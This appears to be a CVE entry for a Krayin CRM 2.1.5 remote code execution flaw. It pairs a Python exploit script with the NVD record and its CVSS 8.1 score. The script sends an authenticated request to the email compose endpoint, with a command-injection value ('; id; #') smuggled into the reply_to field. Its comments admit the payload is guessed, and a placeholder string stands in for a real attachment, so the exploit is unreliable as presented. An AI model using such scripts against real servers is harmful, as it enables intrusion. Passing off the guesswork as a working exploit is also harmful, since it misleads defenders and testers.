CVE-2026-36340

import requests # Exploit Title: Krayin CRM 2.1.5 - RCE via Compose Email # Date: 2026-04-30 # Exploit Author: Analyst # Vendor Homepage: https://krayincrm.com/ # Software Link: https://github.com/krayin/laravel-crm/releases/tag/v2.1.5 # Version: 2.1.5 # Tested on: Linux/Unix def exploit(target_url, session_cookie): """ Exploits the RCE vulnerability in the compose email function. Requires a valid authenticated session (PR:L). """ headers = { "Cookie": f"laravel_session={session_cookie}", "User-Agent": "Mozilla/5.0 (Exploit)", "Content-Type": "application/json" } # Malicious payload targeting the email compose endpoint # This payload attempts to execute a shell command (e.g., whoami) # The exact JSON structure depends on the API implementation payload = { "subject": "Test Subject", "content": "Test Content", "reply_to": "; id; #", # Potential injection point "attachments": ["恶意载荷"] } # Note: In a real scenario, the payload would be serialized or specifically # crafted to trigger the backend vulnerability (e.g., PHAR deserialization). url = f"{target_url}/admin/mail/compose" try: response = requests.post(url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Payload sent successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:8000" session = "valid_session_token_here" exploit(target, session)

{"cve": {"id": "CVE-2026-36340", "sourceIdentifier": "[email protected]", "published": "2026-04-30T16:16:42.160", "lastModified": "2026-04-30T18:16:28.147", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Krayin CRM v.2.1.5 and fixed in v.2.1.6 allows a remote attacker to execute arbitrary code via the compose email function"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://drive.google.com/file/d/1yBdvbrXGf9fsFckmK9zTe2v8_vDtdicH/view", "source": "[email protected]"}, {"url": "https://github.com/cybercrewinc/CVE-2026-36340", "source": "[email protected]"}, {"url": "https://github.com/krayin/laravel-crm/releases/tag/v2.1.6", "source": "[email protected]"}, {"url": "https://github.com/cybercrewinc/CVE-2026-36340", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}